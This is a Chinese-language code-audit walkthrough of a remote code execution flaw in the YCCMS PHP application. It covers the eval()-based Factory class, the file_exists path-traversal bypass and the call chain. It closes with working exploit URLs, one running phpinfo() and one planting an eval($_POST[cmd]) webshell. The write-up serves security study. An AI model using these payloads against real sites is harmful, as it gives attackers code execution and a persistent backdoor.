首先是环境问题,由于之前的操作不当,需要以下两个链接来修改。
phpstudy环境问题
首先导入就不讲了,直接开始扔seay里面审计。
发现13行出现命令执行,进入
<?php
class Factory{
static private $_obj=null;
static public function setAction(){
$_a=self::getA();
if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
if (!isset($_SESSION['admin'])) {
header('Location:'.'?a=login');
}
}
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
return self::$_obj;
}
static public function setModel() {
$_a = self::getA();
if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');
return self::$_obj;
}
static public function getA(){
if(isset($_GET['a']) && !empty($_GET['a'])){
return $_GET['a'];
}
return 'login';
}
}
?>
1.主要是file_exists这个函数出现的问题,这个函数,遇到/…/会返回到上级目录,可以利用这个策略逃逸出 file_exists()函数检查。我换句话说,如果aaa/…/bbb,aaa为/controller/,bbb可以随便写,但是要保证aaa目录真实存在的,这个函数会识别一个规则就是遇到类似/…/这种结构时,会将第一个斜线前面的内容当作一个目录名来处理。
2.我们简单梳理一下,类名为Factory{},该类使用了setAction() 方法,通过调用self:: getA() 方法获取 $a参数进行跳转检查操作,看是否是admin权限,然后通过file_exists()函数检查文件路径是否存在,最后调用eval()执行php代码。
当然,我们得看是那个文件调用了这个函数,拿起burp开始抓包,
我们可以看出来,在config.count.php中先引入参数a,这里的a就是出现问题的Factory.class.php文件,我们继续推理,弄清楚Factory.class.php由谁调用,全局搜索有关Factory类的函数。
发现是由run.inc.php,继续搜索run.inc.php。
可以看出是由config/config.php这个目录,这也刚好可以证明,为什么burp抓包的第一个目录是有变量a。到这里就可以开始进行注入了,直接上🐎。
payload:
http://192.168.0.1/yccms/config/count.php?a=Factory();phpinfo();//../
payload种木马
http://192.168.0.101/yccms/config/count.php?a=Factory();@eval($_POST[cmd]);//../